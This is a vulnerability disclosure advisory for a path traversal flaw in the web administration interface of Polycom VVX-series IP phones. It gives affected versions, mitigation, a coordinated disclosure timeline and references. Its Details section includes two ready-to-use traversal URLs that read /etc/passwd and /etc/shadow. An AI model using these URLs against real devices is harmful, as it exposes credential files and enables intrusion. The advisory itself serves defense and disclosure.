Polycom VVX-Series Business Media Phones Path Traversal Vulnerability

--Summary--

Polycom VVX-series Business Media Phones allow authenticated users to execute file path traversal attacks

# Polycom
# http://www.polycom.com

--Affects--

# Polycom VVX 101, 201, 300, 310, 400, 410, 500, 600, & 1500
# UC Software 4.1.8 and earlier, 5.2.3 and earlier, 5.3.1 and earlier, 5.4.0 and earlier

--Details--

Polycom VVX-series IP phones provide a web administrative interface. Inside this interface we discovered two URLs that exposed a "file=filename" parameters. Due to unsafe file system operations in this interface, it is possible to exploit the following pages, and possibly others, using path traversal attacks:

http://a.b.c.d/Preferences/Ringtone?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

http://a.b.c.d/Preferences/Background?file=.%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow

--Mitigation--

Upgrade to the latest version of UC Software available.
Disable or restrict access to the web interface.

--Timeline--

# 6/16/2015: Notified Polycom about the issue
# 6/17/2015: Polycom responds, indicates it is investigating
# 6/18/2015: Polycom acknowledges vulnerability legitimacy
# 6/26/2015: Polycom waiting on estimate for fix from engineering
# 7/22/2015: Polycom provides with projected timelines for fixes
# 11/24/2015: Polycom confirms all VVX branches are patched
# 12/9/2015: Polycom issues public vulnerability advisory

--References--

https://depthsecurity.com/blog/polycom-vvx-series-business-media-phones-path-traversal-vulnerability 

http://supportdocs.polycom.com/PolycomService/support/global/documents/support/documentation/VVX_Path_Traversals_v_1_0.pdf

Jake Reynolds
Partner/Principal Consultant
www.depthsecurity.com